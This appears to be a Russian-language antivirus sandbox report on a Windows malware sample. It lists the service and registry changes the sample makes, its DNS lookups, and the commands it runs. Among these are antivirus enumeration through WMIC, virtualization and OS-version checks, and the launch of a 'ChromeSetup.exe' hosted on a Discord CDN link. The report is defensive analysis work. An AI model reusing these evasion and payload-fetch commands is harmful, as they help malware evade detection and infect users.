Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\W32Time] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\w32time] 'ImagePath' = '<SYSTEM32>\svchost.exe -k LocalService'
Создает следующие сервисы
- 'w32time' <SYSTEM32>\svchost.exe -k LocalService
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\net.exe' stop w32time
Изменения в файловой системе
Создает следующие файлы
- nul
Сетевая активность
UDP
- DNS ASK ak#.ms
- DNS ASK cd#.##scordapp.com
Другое
Ищет следующие окна
- ClassName: 'DDEMLMom' WindowName: ''
- ClassName: 'IEFrame' WindowName: ''
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ArgumentList "Get - AppxPackage Microsoft.XboxApp | Foreach{ Add - AppxPackage - DisableDevelopmentMode - Register ""$($_.InstallLocation)\AppXManifest.xml"" }"
- '<SYSTEM32>\cmd.exe' /c start powershell.exe -ArgumentList "Get - AppxPackage Microsoft.XboxApp | Foreach{ Add - AppxPackage - DisableDevelopmentMode - Register ""$($_.InstallLocation)\AppXManifest.xml"" }" 2>nul
- '<SYSTEM32>\findstr.exe' /R "[0-9]\.[0-9]\.[0-9]"
- '<SYSTEM32>\wbem\wmic.exe' os get version
- '<SYSTEM32>\cmd.exe' /c wmic os get version | findstr /R "[0-9]\.[0-9]\.[0-9]"
- '<SYSTEM32>\w32tm.exe' /resync
- '<SYSTEM32>\cmd.exe' /c w32tm /resync 2>nul
- '<SYSTEM32>\net1.exe' start w32time
- '<SYSTEM32>\net.exe' start w32time
- '<SYSTEM32>\cmd.exe' /c net start w32time 2>nul
- '<SYSTEM32>\cmd.exe' /c start powershell.exe -ArgumentList "Get - AppxPackage Microsoft.XboxGameOverlay | Foreach{ Add - AppxPackage - DisableDevelopmentMode - Register ""$($_.InstallLocation)AppXManifest.xml"" }" ...
- '<SYSTEM32>\w32tm.exe' /unregister
- '<SYSTEM32>\net1.exe' stop w32time
- '<SYSTEM32>\cmd.exe' /c net stop w32time 2>nul
- '<SYSTEM32>\w32tm.exe' /register
- '<SYSTEM32>\cmd.exe' /c w32tm /register 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://cdn.discordapp.com/attachments/1044581773960560660/1054138215822544956/ChromeSetup.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://aka.ms/vs/17/release/vc_redist.x86.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c start https://aka.ms/vs/17/release/vc_redist.x64.exe 2>nul
- '<SYSTEM32>\wbem\wmic.exe' CPU Get VirtualizationFirmwareEnabled
- '<SYSTEM32>\cmd.exe' /c WMIC CPU Get VirtualizationFirmwareEnabled
- '<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
- '<SYSTEM32>\cmd.exe' /c w32tm /unregister 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ArgumentList "Get - AppxPackage Microsoft.XboxGameOverlay | Foreach{ Add - AppxPackage - DisableDevelopmentMode - Register ""$($_.InstallLocation)AppXManifest.xml"" }"
